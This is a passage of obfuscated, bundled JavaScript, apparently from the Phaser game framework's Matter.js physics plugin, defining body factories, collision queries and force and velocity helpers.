_0x140d4f, _0x55c85b) { if (void 0x0 === _0x140d4f && (_0x140d4f = 0x0), void 0x0 === _0x55c85b && (_0x55c85b = 0x0), this['parseBody'](_0x1064dc)) { var _0x42c588 = this['boundsCenter'], _0x5d568c = this['centerDiff']; return new _0x34cd8e(_0x140d4f - (_0x42c588['x'] - _0x5d568c['x']), _0x55c85b - (_0x42c588['y'] - _0x5d568c['y'])); } return !0x1; } }); _0x4b94be['exports'] = _0x2d9908; }, 0x4ddd: (_0x2ed536, _0x50de6b, _0x58d818) => { var _0xb94987 = _0x58d818(0x1a86); _0xb94987['Body'] = _0x58d818(0x5822), _0xb94987['Composite'] = _0x58d818(0x10ee7), _0xb94987['World'] = _0x58d818(0x1114), _0xb94987['Collision'] = _0x58d818(0xcc3c), _0xb94987['Detector'] = _0x58d818(0x13dec), _0xb94987['Pairs'] = _0x58d818(0x184e9), _0xb94987['Pair'] = _0x58d818(0x119a), _0xb94987['Query'] = _0x58d818(0x11e50), _0xb94987['Resolver'] = _0x58d818(0x102e0), _0xb94987['Constraint'] = _0x58d818(0xbc0c), _0xb94987['Common'] = _0x58d818(0xd09a), _0xb94987['Engine'] = _0x58d818(0xbd1d), _0xb94987['Events'] = _0x58d818(0x8be2), _0xb94987['Sleeping'] = _0x58d818(0xd16e), _0xb94987['Plugin'] = _0x58d818(0x12068), _0xb94987['Bodies'] = _0x58d818(0x102e8), _0xb94987['Composites'] = _0x58d818(0x12184), _0xb94987['Axes'] = _0x58d818(0x10437), _0xb94987['Bounds'] = _0x58d818(0x3d1f), _0xb94987['Svg'] = _0x58d818(0x1214a), _0xb94987['Vector'] = _0x58d818(0x7bed), _0xb94987['Vertices'] = _0x58d818(0xa27e), _0xb94987['World']['add'] = _0xb94987['Composite']['add'], _0xb94987['World']['remove'] = _0xb94987['Composite']['remove'], _0xb94987['World']['addComposite'] = _0xb94987['Composite']['addComposite'], _0xb94987['World']['addBody'] = _0xb94987['Composite']['addBody'], _0xb94987['World']['addConstraint'] = _0xb94987['Composite']['addConstraint'], _0xb94987['World']['clear'] = _0xb94987['Composite']['clear'], _0x2ed536['exports'] = _0xb94987; }, 0x6de9: (_0x307ee3, _0x4562e6, _0x203359) => { var _0x3ef6bb = _0x203359(0x102e8), _0x371fef = _0x203359(0x145db), _0x119791 = _0x203359(0x12184), _0x260e29 = _0x203359(0xbc0c), _0xbd1115 = _0x203359(0x1214a), _0x2097ec = _0x203359(0x1281b), _0x94f96d = _0x203359(0x5a8d), _0x3eabcd = _0x203359(0x87f3), _0x842385 = _0x203359(0x1206a), _0x70c0cd = _0x203359(0x4c28), _0x432d61 = _0x203359(0x14f1f), _0x4612ec = _0x203359(0x18199), _0x35634b = _0x203359(0xa27e), _0x5ad037 = new _0x371fef({ 'initialize': function (_0x93eaa2) { this['world'] = _0x93eaa2, this['scene'] = _0x93eaa2['scene'], this['sys'] = _0x93eaa2['scene']['sys']; }, 'rectangle': function (_0x392875, _0x5cb4be, _0x2013c1, _0x535cda, _0x529be5) { var _0xe4b8ad = _0x3ef6bb['rectangle'](_0x392875, _0x5cb4be, _0x2013c1, _0x535cda, _0x529be5); return this['world']['add'](_0xe4b8ad), _0xe4b8ad; }, 'trapezoid': function (_0x18d41f, _0x51589a, _0x14d7d1, _0x3361d4, _0x42672a, _0x4658fb) { var _0x239be5 = _0x3ef6bb['trapezoid'](_0x18d41f, _0x51589a, _0x14d7d1, _0x3361d4, _0x42672a, _0x4658fb); return this['world']['add'](_0x239be5), _0x239be5; }, 'circle': function (_0x3401ad, _0x2f15c6, _0x2a7ef8, _0x32fe13, _0x1c37f7) { var _0x4f0cc3 = _0x3ef6bb['circle'](_0x3401ad, _0x2f15c6, _0x2a7ef8, _0x32fe13, _0x1c37f7); return this['world']['add'](_0x4f0cc3), _0x4f0cc3; }, 'polygon': function (_0x216b8f, _0x546595, _0x1f6277, _0xff3573, _0x586495) { var _0xf52c6d = _0x3ef6bb['polygon'](_0x216b8f, _0x546595, _0x1f6277, _0xff3573, _0x586495); return this['world']['add'](_0xf52c6d), _0xf52c6d; }, 'fromVertices': function (_0x19bef5, _0x3b465a, _0x23a469, _0x38d9b1, _0x5b83a1, _0x4257b2, _0x41101c) { 'string' == typeof _0x23a469 && (_0x23a469 = _0x35634b['fromPath'](_0x23a469)); var _0x3637f6 = _0x3ef6bb['fromVertices'](_0x19bef5, _0x3b465a, _0x23a469, _0x38d9b1, _0x5b83a1, _0x4257b2, _0x41101c); return this['world']['add'](_0x3637f6), _0x3637f6; }, 'fromPhysicsEditor': function (_0x43605e, _0x336d76, _0x1225e8, _0x34293c, _0xf958a7) { void 0x0 === _0xf958a7 && (_0xf958a7 = !0x0); var _0x1a281d = _0x70c0cd['parseBody'](_0x43605e, _0x336d76, _0x1225e8, _0x34293c); return _0xf958a7 && !this['world']['has'](_0x1a281d) && this['world']['add'](_0x1a281d), _0x1a281d; }, 'fromSVG': function (_0x30e4c8, _0x1ab5c2, _0x27b007, _0x48d7ce, _0x1674ef, _0x3b9afa) { void 0x0 === _0x48d7ce && (_0x48d7ce = 0x1), void 0x0 === _0x1674ef && (_0x1674ef = {}), void 0x0 === _0x3b9afa && (_0x3b9afa = !0x0); for (var _0x2092e6 = _0x27b007['getElementsByTagName']('path'), _0x8d2d44 = [], _0x90ed08 = 0x0; _0x90ed08 < _0x2092e6['length']; _0x90ed08++) { var _0x38fba8 = _0xbd1115['pathToVertices'](_0x2092e6[_0x90ed08], 0x1e); 0x1 !== _0x48d7ce && _0x35634b['scale'](_0x38fba8, _0x48d7ce, _0x48d7ce), _0x8d2d44['push'](_0x38fba8); } var _0x4ee5f0 = _0x3ef6bb['fromVertices'](_0x30e4c8, _0x1ab5c2, _0x8d2d44, _0x1674ef); return _0x3b9afa && this['world']['add'](_0x4ee5f0), _0x4ee5f0; }, 'fromJSON': function (_0x5268e1, _0x1e5eae, _0x4ff72c, _0xe5bf4c, _0x3ee33c) { void 0x0 === _0xe5bf4c && (_0xe5bf4c = {}), void 0x0 === _0x3ee33c && (_0x3ee33c = !0x0); var _0x387a72 = _0x432d61['parseBody'](_0x5268e1, _0x1e5eae, _0x4ff72c, _0xe5bf4c); return _0x387a72 && _0x3ee33c && this['world']['add'](_0x387a72), _0x387a72; }, 'imageStack': function (_0x8321a8, _0x2925a1, _0x188a54, _0x137c4f, _0x1f7782, _0x136828, _0x314a11, _0x13e6ca, _0x31d7f7) { void 0x0 === _0x314a11 && (_0x314a11 = 0x0), void 0x0 === _0x13e6ca && (_0x13e6ca = 0x0), void 0x0 === _0x31d7f7 && (_0x31d7f7 = {}); var _0x12b81e = this['world'], _0x5c5355 = this['sys']['displayList']; _0x31d7f7['addToWorld'] = !0x1; var _0x4ec59c = _0x119791['stack'](_0x188a54, _0x137c4f, _0x1f7782, _0x136828, _0x314a11, _0x13e6ca, function (_0x567f31, _0x2a46b5) { var _0x1d20c5 = new _0x94f96d(_0x12b81e, _0x567f31, _0x2a46b5, _0x8321a8, _0x2925a1, _0x31d7f7); return _0x5c5355['add'](_0x1d20c5), _0x1d20c5['body']; }); return _0x12b81e['add'](_0x4ec59c), _0x4ec59c; }, 'stack': function (_0x398db5, _0x219582, _0x1f39ac, _0x236ccc, _0x32f00d, _0x5b1f79, _0x3293a5) { var _0x296caa = _0x119791['stack'](_0x398db5, _0x219582, _0x1f39ac, _0x236ccc, _0x32f00d, _0x5b1f79, _0x3293a5); return this['world']['add'](_0x296caa), _0x296caa; }, 'pyramid': function (_0xbe2e07, _0x4458d7, _0x4d0ce0, _0x2636f9, _0x173f0e, _0x23defe, _0x55a725) { var _0x16e39e = _0x119791['pyramid'](_0xbe2e07, _0x4458d7, _0x4d0ce0, _0x2636f9, _0x173f0e, _0x23defe, _0x55a725); return this['world']['add'](_0x16e39e), _0x16e39e; }, 'chain': function (_0x5ce447, _0x8de9f8, _0xfc14e2, _0x4f0be3, _0x42fe31, _0x2471e3) { return _0x119791['chain'](_0x5ce447, _0x8de9f8, _0xfc14e2, _0x4f0be3, _0x42fe31, _0x2471e3); }, 'mesh': function (_0x19ec62, _0x2b80ce, _0xb8554e, _0x162703, _0x3113e1) { return _0x119791['mesh'](_0x19ec62, _0x2b80ce, _0xb8554e, _0x162703, _0x3113e1); }, 'newtonsCradle': function (_0x17ba7d, _0x20b621, _0x2a37ed, _0x35606b, _0x516dc6) { var _0x4fd54a = _0x119791['newtonsCradle'](_0x17ba7d, _0x20b621, _0x2a37ed, _0x35606b, _0x516dc6); return this['world']['add'](_0x4fd54a), _0x4fd54a; }, 'car': function (_0x3a2c9b, _0x42738e, _0x2aee26, _0x46cb2f, _0x5d00d0) { var _0x5a94ae = _0x119791['car'](_0x3a2c9b, _0x42738e, _0x2aee26, _0x46cb2f, _0x5d00d0); return this['world']['add'](_0x5a94ae), _0x5a94ae; }, 'softBody': function (_0x5466b6, _0x3a11b8, _0x6ef32b, _0x25310f, _0x15f728, _0xcc1f5e, _0x38162d, _0x33389f, _0x4e38a2, _0x1a9e6c) { var _0x406434 = _0x119791['softBody'](_0x5466b6, _0x3a11b8, _0x6ef32b, _0x25310f, _0x15f728, _0xcc1f5e, _0x38162d, _0x33389f, _0x4e38a2, _0x1a9e6c); return this['world']['add'](_0x406434), _0x406434; }, 'joint': function (_0x442ff7, _0x13a7b4, _0x5034fb, _0x3c23f7, _0x22015c) { return this['constraint'](_0x442ff7, _0x13a7b4, _0x5034fb, _0x3c23f7, _0x22015c); }, 'spring': function (_0x51ce77, _0x477b98, _0x1dc704, _0xe25be6, _0x507d93) { return this['constraint'](_0x51ce77, _0x477b98, _0x1dc704, _0xe25be6, _0x507d93); }, 'constraint': function (_0x3c0f36, _0x40e0a5, _0xf9d030, _0x297219, _0x1ba960) { void 0x0 === _0x297219 && (_0x297219 = 0x1), void 0x0 === _0x1ba960 && (_0x1ba960 = {}), _0x1ba960['bodyA'] = 'body' === _0x3c0f36['type'] ? _0x3c0f36 : _0x3c0f36['body'], _0x1ba960['bodyB'] = 'body' === _0x40e0a5['type'] ? _0x40e0a5 : _0x40e0a5['body'], isNaN(_0xf9d030) || (_0x1ba960['length'] = _0xf9d030), _0x1ba960['stiffness'] = _0x297219; var _0x4c56ae = _0x260e29['create'](_0x1ba960); return this['world']['add'](_0x4c56ae), _0x4c56ae; }, 'worldConstraint': function (_0x11e8ff, _0x28ae44, _0x1be564, _0x30e0e0) { void 0x0 === _0x1be564 && (_0x1be564 = 0x1), void 0x0 === _0x30e0e0 && (_0x30e0e0 = {}), _0x30e0e0['bodyB'] = 'body' === _0x11e8ff['type'] ? _0x11e8ff : _0x11e8ff['body'], isNaN(_0x28ae44) || (_0x30e0e0['length'] = _0x28ae44), _0x30e0e0['stiffness'] = _0x1be564; var _0x3f73c1 = _0x260e29['create'](_0x30e0e0); return this['world']['add'](_0x3f73c1), _0x3f73c1; }, 'mouseSpring': function (_0x212236) { return this['pointerConstraint'](_0x212236); }, 'pointerConstraint': function (_0xd406dc) { void 0x0 === _0xd406dc && (_0xd406dc = {}), _0xd406dc['hasOwnProperty']('render') || (_0xd406dc['render'] = { 'visible': !0x1 }); var _0x4b869d = new _0x4612ec(this['scene'], this['world'], _0xd406dc); return this['world']['add'](_0x4b869d['constraint']), _0x4b869d; }, 'image': function (_0xae7a5a, _0x5e1f76, _0x34d06b, _0x16ec31, _0x1b1f50) { var _0x10171c = new _0x94f96d(this['world'], _0xae7a5a, _0x5e1f76, _0x34d06b, _0x16ec31, _0x1b1f50); return this['sys']['displayList']['add'](_0x10171c), _0x10171c; }, 'tileBody': function (_0x2f4266, _0x4ea0fb) { return new _0x842385(this['world'], _0x2f4266, _0x4ea0fb); }, 'sprite': function (_0x97a7b4, _0x176141, _0x45fa69, _0x2f060d, _0x2afc3c) { var _0x3da215 = new _0x3eabcd(this['world'], _0x97a7b4, _0x176141, _0x45fa69, _0x2f060d, _0x2afc3c); return this['sys']['displayList']['add'](_0x3da215), this['sys']['updateList']['add'](_0x3da215), _0x3da215; }, 'gameObject': function (_0x567682, _0x10da2d, _0x2c1473) { return _0x2097ec(this['world'], _0x567682, _0x10da2d, _0x2c1473); }, 'destroy': function () { this['world'] = null, this['scene'] = null, this['sys'] = null; } }); _0x307ee3['exports'] = _0x5ad037; }, 0x1281b: (_0x1d91a1, _0x433700, _0x167646) => { var _0x3d6b98 = _0x167646(0x7c8c), _0x11ee46 = _0x167646(0x17534), _0x2774f6 = _0x167646(0x65f3); _0x1d91a1['exports'] = function (_0x1ee7ea, _0x188d98, _0x8507b5, _0x4205bb) { void 0x0 === _0x8507b5 && (_0x8507b5 = {}), void 0x0 === _0x4205bb && (_0x4205bb = !0x0); var _0x2f9f7b = _0x188d98['x'], _0x3f6a70 = _0x188d98['y']; if (_0x188d98['body'] = { 'temp': !0x0, 'position': { 'x': _0x2f9f7b, 'y': _0x3f6a70 } }, [_0x3d6b98['Bounce'], _0x3d6b98['Collision'], _0x3d6b98['Force'], _0x3d6b98['Friction'], _0x3d6b98['Gravity'], _0x3d6b98['Mass'], _0x3d6b98['Sensor'], _0x3d6b98['SetBody'], _0x3d6b98['Sleep'], _0x3d6b98['Static'], _0x3d6b98['Transform'], _0x3d6b98['Velocity']]['forEach'](function (_0x3af972) { for (var _0x3e9362 in _0x3af972) (_0x563862 = _0x3af972[_0x3e9362])['get'] && 'function' == typeof _0x563862['get'] || _0x563862['set'] && 'function' == typeof _0x563862['set'] ? Object['defineProperty'](_0x188d98, _0x3e9362, { 'get': _0x3af972[_0x3e9362]['get'], 'set': _0x3af972[_0x3e9362]['set'] }) : Object['defineProperty'](_0x188d98, _0x3e9362, { 'value': _0x3af972[_0x3e9362] }); var _0x563862; }), _0x188d98['world'] = _0x1ee7ea, _0x188d98['_tempVec2'] = new _0x2774f6(_0x2f9f7b, _0x3f6a70), _0x8507b5['hasOwnProperty']('type') && 'body' === _0x8507b5['type']) _0x188d98['setExistingBody'](_0x8507b5, _0x4205bb); else { var _0x39af9d = _0x11ee46(_0x8507b5, 'shape', null); _0x39af9d || (_0x39af9d = 'rectangle'), _0x8507b5['addToWorld'] = _0x4205bb, _0x188d98['setBody'](_0x39af9d, _0x8507b5); } return _0x188d98; }; }, 0x5a8d: (_0x5aac88, _0x49dce3, _0x10828b) => { var _0x53a811 = _0x10828b(0x145db), _0x296731 = _0x10828b(0x7c8c), _0x303213 = _0x10828b(0x1759b), _0x4763c4 = _0x10828b(0x17534), _0x1cba1d = _0x10828b(0x159fb), _0x5f2f57 = _0x10828b(0x11bfb), _0x199758 = _0x10828b(0x65f3), _0x3395b0 = new _0x53a811({ 'Extends': _0x1cba1d, 'Mixins': [_0x296731['Bounce'], _0x296731['Collision'], _0x296731['Force'], _0x296731['Friction'], _0x296731['Gravity'], _0x296731['Mass'], _0x296731['Sensor'], _0x296731['SetBody'], _0x296731['Sleep'], _0x296731['Static'], _0x296731['Transform'], _0x296731['Velocity'], _0x5f2f57], 'initialize': function (_0x529ce0, _0x171a44, _0x2c8c5d, _0x5b8743, _0x5a6028, _0x28ff2a) { _0x303213['call'](this, _0x529ce0['scene'], 'Image'), this['_crop'] = this['resetCropObject'](), this['setTexture'](_0x5b8743, _0x5a6028), this['setSizeToFrame'](), this['setOrigin'](), this['world'] = _0x529ce0, this['_tempVec2'] = new _0x199758(_0x171a44, _0x2c8c5d); var _0x51abc1 = _0x4763c4(_0x28ff2a, 'shape', null); _0x51abc1 ? this['setBody'](_0x51abc1, _0x28ff2a) : this['setRectangle'](this['width'], this['height'], _0x28ff2a), this['setPosition'](_0x171a44, _0x2c8c5d), this['initPipeline'](), this['initPostPipeline'](!0x0); } }); _0x5aac88['exports'] = _0x3395b0; }, 0xa43d: (_0x399173, _0x7db621, _0x22cc98) => { var _0xfb9feb = _0x22cc98(0xec2d), _0xf81739 = _0x22cc98(0x10437), _0x3470ef = _0x22cc98(0x102e8), _0x5819e5 = _0x22cc98(0x5822), _0x4a6c14 = _0x22cc98(0x10a4e), _0x4dd362 = _0x22cc98(0x3d1f), _0x56773c = _0x22cc98(0x145db), _0x39c873 = _0x22cc98(0xcc3c), _0x3fb09b = _0x22cc98(0xd09a), _0x28c31b = _0x22cc98(0x10ee7), _0x1c796d = _0x22cc98(0x12184), _0xa1be7d = _0x22cc98(0xbc0c), _0x5ba285 = _0x22cc98(0x13dec), _0x5262cc = _0x22cc98(0x4f73), _0x4da8ed = _0x22cc98(0x6de9), _0x11e42b = _0x22cc98(0x17534), _0x31e772 = _0x22cc98(0x8952), _0x4074ac = _0x22cc98(0xb77f), _0x1f1e5c = _0x22cc98(0x119a), _0x2d9831 = _0x22cc98(0x184e9), _0x3109b7 = _0x22cc98(0x919d), _0x1f9f36 = _0x22cc98(0x11e50), _0x1c4fe4 = _0x22cc98(0x102e0), _0x3709e2 = _0x22cc98(0xae32), _0xdcd123 = _0x22cc98(0x1214a), _0x4c6ba7 = _0x22cc98(0x7bed), _0x14730d = _0x22cc98(0xa27e), _0x509fd2 = _0x22cc98(0x10a93); _0x3fb09b['setDecomp'](_0x22cc98(0xdaa5)); var _0x7d6e12 = new _0x56773c({ 'initialize': function (_0x1b6fda) { this['scene'] = _0x1b6fda, this['systems'] = _0x1b6fda['sys'], this['config'] = this['getConfig'](), this['world'], this['add'], this['bodyBounds'], this['body'] = _0x5819e5, this['composite'] = _0x28c31b, this['collision'] = _0x39c873, this['detector'] = _0x5ba285, this['pair'] = _0x1f1e5c, this['pairs'] = _0x2d9831, this['query'] = _0x1f9f36, this['resolver'] = _0x1c4fe4, this['constraint'] = _0xa1be7d, this['bodies'] = _0x3470ef, this['composites'] = _0x1c796d, this['axes'] = _0xf81739, this['bounds'] = _0x4dd362, this['svg'] = _0xdcd123, this['vector'] = _0x4c6ba7, this['vertices'] = _0x14730d, this['verts'] = _0x14730d, this['_tempVec2'] = _0x4c6ba7['create'](), _0x1c4fe4['_restingThresh'] = _0x31e772(this['config'], 'restingThresh', 0x4), _0x1c4fe4['_restingThreshTangent'] = _0x31e772(this['config'], 'restingThreshTangent', 0x6), _0x1c4fe4['_positionDampen'] = _0x31e772(this['config'], 'positionDampen', 0.9), _0x1c4fe4['_positionWarming'] = _0x31e772(this['config'], 'positionWarming', 0.8), _0x1c4fe4['_frictionNormalMultiplier'] = _0x31e772(this['config'], 'frictionNormalMultiplier', 0x5), _0x1b6fda['sys']['events']['once'](_0x3709e2['BOOT'], this['boot'], this), _0x1b6fda['sys']['events']['on'](_0x3709e2['START'], this['start'], this); }, 'boot': function () { this['world'] = new _0x509fd2(this['scene'], this['config']), this['add'] = new _0x4da8ed(this['world']), this['bodyBounds'] = new _0x4a6c14(), this['systems']['events']['once'](_0x3709e2['DESTROY'], this['destroy'], this); }, 'start': function () { this['world'] || (this['world'] = new _0x509fd2(this['scene'], this['config']), this['add'] = new _0x4da8ed(this['world'])); var _0x5d1f86 = this['systems']['events']; _0x5d1f86['on'](_0x3709e2['UPDATE'], this['world']['update'], this['world']), _0x5d1f86['on'](_0x3709e2['POST_UPDATE'], this['world']['postUpdate'], this['world']), _0x5d1f86['once'](_0x3709e2['SHUTDOWN'], this['shutdown'], this); }, 'getConfig': function () { var _0x4e57ac = this['systems']['game']['config']['physics'], _0x345d21 = this['systems']['settings']['physics']; return _0x4074ac(_0x11e42b(_0x345d21, 'matter', {}), _0x11e42b(_0x4e57ac, 'matter', {})); }, 'pause': function () { return this['world']['pause'](); }, 'resume': function () { return this['world']['resume'](); }, 'set60Hz': function () { return this['world']['getDelta'] = this['world']['update60Hz'], this['world']['autoUpdate'] = !0x0, this; }, 'set30Hz': function () { return this['world']['getDelta'] = this['world']['update30Hz'], this['world']['autoUpdate'] = !0x0, this; }, 'step': function (_0x22c833, _0x5a3bad) { this['world']['step'](_0x22c833, _0x5a3bad); }, 'containsPoint': function (_0x103bb9, _0x40c39f, _0x445b21) { _0x103bb9 = this['getMatterBodies'](_0x103bb9); var _0x212ee6 = _0x4c6ba7['create'](_0x40c39f, _0x445b21); return _0x1f9f36['point'](_0x103bb9, _0x212ee6)['length'] > 0x0; }, 'intersectPoint': function (_0x4c65e5, _0x3a1b5f, _0x125ef0) { _0x125ef0 = this['getMatterBodies'](_0x125ef0); var _0x2ae6ea = _0x4c6ba7['create'](_0x4c65e5, _0x3a1b5f), _0x374092 = []; return _0x1f9f36['point'](_0x125ef0, _0x2ae6ea)['forEach'](function (_0x5c08dc) { -0x1 === _0x374092['indexOf'](_0x5c08dc) && _0x374092['push'](_0x5c08dc); }), _0x374092; }, 'intersectRect': function (_0x4583b2, _0x358915, _0x56bc60, _0x32bd1b, _0x4ec292, _0x398834) { void 0x0 === _0x4ec292 && (_0x4ec292 = !0x1), _0x398834 = this['getMatterBodies'](_0x398834); var _0x2d662a = { 'min': { 'x': _0x4583b2, 'y': _0x358915 }, 'max': { 'x': _0x4583b2 + _0x56bc60, 'y': _0x358915 + _0x32bd1b } }, _0x5f0283 = []; return _0x1f9f36['region'](_0x398834, _0x2d662a, _0x4ec292)['forEach'](function (_0x3fda62) { -0x1 === _0x5f0283['indexOf'](_0x3fda62) && _0x5f0283['push'](_0x3fda62); }), _0x5f0283; }, 'intersectRay': function (_0x272ae1, _0x50b861, _0x587cde, _0x39d78c, _0x2f17ec, _0x508fb1) { void 0x0 === _0x2f17ec && (_0x2f17ec = 0x1), _0x508fb1 = this['getMatterBodies'](_0x508fb1); for (var _0x4456be = [], _0x2ab807 = _0x1f9f36['ray'](_0x508fb1, _0x4c6ba7['create'](_0x272ae1, _0x50b861), _0x4c6ba7['create'](_0x587cde, _0x39d78c), _0x2f17ec), _0x4ec392 = 0x0; _0x4ec392 < _0x2ab807['length']; _0x4ec392++)_0x4456be['push'](_0x2ab807[_0x4ec392]['body']); return _0x4456be; }, 'intersectBody': function (_0x382406, _0x506697) { _0x506697 = this['getMatterBodies'](_0x506697); for (var _0x37ff02 = [], _0x317532 = _0x1f9f36['collides'](_0x382406, _0x506697), _0x96ba60 = 0x0; _0x96ba60 < _0x317532['length']; _0x96ba60++) { var _0x1172c6 = _0x317532[_0x96ba60]; _0x1172c6['bodyA'] === _0x382406 ? _0x37ff02['push'](_0x1172c6['bodyB']) : _0x37ff02['push'](_0x1172c6['bodyA']); } return _0x37ff02; }, 'overlap': function (_0x3e6b2d, _0x585965, _0x3cd2a4, _0x5dab62, _0x3cd4d9) { void 0x0 === _0x3cd2a4 && (_0x3cd2a4 = null), void 0x0 === _0x5dab62 && (_0x5dab62 = null), void 0x0 === _0x3cd4d9 && (_0x3cd4d9 = _0x3cd2a4), Array['isArray'](_0x3e6b2d) || (_0x3e6b2d = [_0x3e6b2d]), _0x3e6b2d = this['getMatterBodies'](_0x3e6b2d), _0x585965 = this['getMatterBodies'](_0x585965); for (var _0x44e2d9 = !0x1, _0x47a3c6 = 0x0; _0x47a3c6 < _0x3e6b2d['length']; _0x47a3c6++)for (var _0x5b6a04 = _0x3e6b2d[_0x47a3c6], _0x1a1c82 = _0x1f9f36['collides'](_0x5b6a04, _0x585965), _0x1a9079 = 0x0; _0x1a9079 < _0x1a1c82['length']; _0x1a9079++) { var _0x37efe1 = _0x1a1c82[_0x1a9079], _0x2fff09 = _0x37efe1['bodyA']['id'] === _0x5b6a04['id'] ? _0x37efe1['bodyB'] : _0x37efe1['bodyA']; if (!_0x5dab62 || _0x5dab62['call'](_0x3cd4d9, _0x5b6a04, _0x2fff09, _0x37efe1)) { if (_0x44e2d9 = !0x0, _0x3cd2a4) _0x3cd2a4['call'](_0x3cd4d9, _0x5b6a04, _0x2fff09, _0x37efe1); else { if (!_0x5dab62) return !0x0; } } } return _0x44e2d9; }, 'setCollisionCategory': function (_0x404a4e, _0x228551) { return (_0x404a4e = this['getMatterBodies'](_0x404a4e))['forEach'](function (_0x1a8a87) { _0x1a8a87['collisionFilter']['category'] = _0x228551; }), this; }, 'setCollisionGroup': function (_0x3bf7ba, _0x1ef75c) { return (_0x3bf7ba = this['getMatterBodies'](_0x3bf7ba))['forEach'](function (_0x5a5eb4) { _0x5a5eb4['collisionFilter']['group'] = _0x1ef75c; }), this; }, 'setCollidesWith': function (_0x1bc01b, _0x57f4a6) { _0x1bc01b = this['getMatterBodies'](_0x1bc01b); var _0x286231 = 0x0; if (Array['isArray'](_0x57f4a6)) { for (var _0x119755 = 0x0; _0x119755 < _0x57f4a6['length']; _0x119755++)_0x286231 |= _0x57f4a6[_0x119755]; } else _0x286231 = _0x57f4a6; return _0x1bc01b['forEach'](function (_0x5c2855) { _0x5c2855['collisionFilter']['mask'] = _0x286231; }), this; }, 'getMatterBodies': function (_0x5ccd81) { if (!_0x5ccd81) return this['world']['getAllBodies'](); Array['isArray'](_0x5ccd81) || (_0x5ccd81 = [_0x5ccd81]); for (var _0x4eb561 = [], _0x4e283f = 0x0; _0x4e283f < _0x5ccd81['length']; _0x4e283f++) { var _0x16870d = _0x5ccd81[_0x4e283f]['hasOwnProperty']('body') ? _0x5ccd81[_0x4e283f]['body'] : _0x5ccd81[_0x4e283f]; _0x4eb561['push'](_0x16870d); } return _0x4eb561; }, 'setVelocity': function (_0x2187ec, _0x352266, _0x290d7f) { _0x2187ec = this['getMatterBodies'](_0x2187ec); var _0x3cc852 = this['_tempVec2']; return _0x3cc852['x'] = _0x352266, _0x3cc852['y'] = _0x290d7f, _0x2187ec['forEach'](function (_0x1770ce) { _0x5819e5['setVelocity'](_0x1770ce, _0x3cc852); }), this; }, 'setVelocityX': function (_0x334400, _0x29552a) { _0x334400 = this['getMatterBodies'](_0x334400); var _0x4b1c07 = this['_tempVec2']; return _0x4b1c07['x'] = _0x29552a, _0x334400['forEach'](function (_0x133125) { _0x4b1c07['y'] = _0x133125['velocity']['y'], _0x5819e5['setVelocity'](_0x133125, _0x4b1c07); }), this; }, 'setVelocityY': function (_0x4f2697, _0x59dcee) { _0x4f2697 = this['getMatterBodies'](_0x4f2697); var _0x658de8 = this['_tempVec2']; return _0x658de8['y'] = _0x59dcee, _0x4f2697['forEach'](function (_0x13be03) { _0x658de8['x'] = _0x13be03['velocity']['x'], _0x5819e5['setVelocity'](_0x13be03, _0x658de8); }), this; }, 'setAngularVelocity': function (_0x2b5ef7, _0x24953c) { return (_0x2b5ef7 = this['getMatterBodies'](_0x2b5ef7))['forEach'](function (_0x25128f) { _0x5819e5['setAngularVelocity'](_0x25128f, _0x24953c); }), this; }, 'applyForce': function (_0x55dc2c, _0x339d9a) { _0x55dc2c = this['getMatterBodies'](_0x55dc2c); var _0x54fad6 = this['_tempVec2']; return _0x55dc2c['forEach'](function (_0x547521) { _0x54fad6['x'] = _0x547521['position']['x'], _0x54fad6['y'] = _0x547521['position']['y'], _0x5819e5['applyForce'](_0x547521, _0x54fad6, _0x339d9a); }), this; }, 'applyForceFromPosition': function (_0x4ffcc8, _0x4b1f71, _0x105ab9, _0x1f461b) { _0x4ffcc8 = this['getMatterBodies'](_0x4ffcc8); var _0x529b39 = this['_tempVec2']; return _0x4ffcc8['forEach'](function (_0x4a6b10) { void 0x0 === _0x1f461b && (_0x1f461b = _0x4a6b10['angle']), _0x529b39['x'] = _0x105ab9 * Math['cos'](_0x1f461b), _0x529b39['y'] = _0x105ab9 * Math['sin'](_0x1f461b), _0x5819e5['applyForce'](_0x4a6b10, _0x4b1f71, _0x529b39); }), this; }, 'applyForceFromAngle': function (_0x56a084, _0x23cad6, _0x131b1d) { _0x56a084 = this['getMatterBodies'](_0x56a084); var _0x1d8e4f = this['_tempVec2']; return _0x56a084['forEach'](function (_0x18746d) { void 0x0 === _0x131b1d && (_0x131b1d = _0x18746d['angle']), _0x1d8e4f['x'] = _0x23cad6 * Math['cos'](_0x131b1d), _0x1d8e4f['y'] = _0x23cad6 * Math['sin'](_0x131b1d), _0x5819e5['applyForce'](_0x18746d, { 'x': _0x18746d['position']['x'], 'y': _0x18746d['position']['y'] }, _0x1d8e4f); }), this; }, 'getConstraintLength': function (_0x19ed50) { var _0x2a8860 = _0x19ed50['pointA']['x'], _0x184306 = _0x19ed50['pointA']['y'], _0x2fbb6c = _0x19ed50['pointB']['x'], _0x45b0b8 = _0x19ed50['pointB']['y']; return _0x19ed50['bodyA'] && (_0x2a8860 += _0x19ed50['bodyA']['position']['x'], _0x184306 += _0x19ed50['bodyA']['position']['y']), _0x19ed50['bodyB'] && (_0x2fbb6c += _0x19ed50['bodyB']['position']['x'], _0x45b0b8 += _0x19ed50['bodyB']['position']['y']), _0x5262cc(_0x2a8860, _0x184306, _0x2fbb6c, _0x45b0b8); }, 'alignBody': function (_0x3bf2f3, _0x87090d, _0xb2fbd8, _0x29e453) { var _0x29624f; switch (_0x3bf2f3 = _0x3bf2f3['hasOwnProperty']('body') ? _0x3bf2f3['body'] : _0x3bf2f3, _0x29e453) { case _0xfb9feb['TOP_LEFT']: case _0xfb9feb['LEFT_TOP']: _0x29624f = this['bodyBounds']['getTopLeft'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['TOP_CENTER']: _0x29624f = this['bodyBounds']['getTopCenter'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['TOP_RIGHT']: case _0xfb9feb['RIGHT_TOP']: _0x29624f = this['bodyBounds']['getTopRight'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['LEFT_CENTER']: _0x29624f = this['bodyBounds']['getLeftCenter'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['CENTER']: _0x29624f = this['bodyBounds']['getCenter'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['RIGHT_CENTER']: _0x29624f = this['bodyBounds']['getRightCenter'](_0x3bf2f3, _0x87090d, _0xb2fbd8); break; case _0xfb9feb['LEFT_BOTTOM']: case 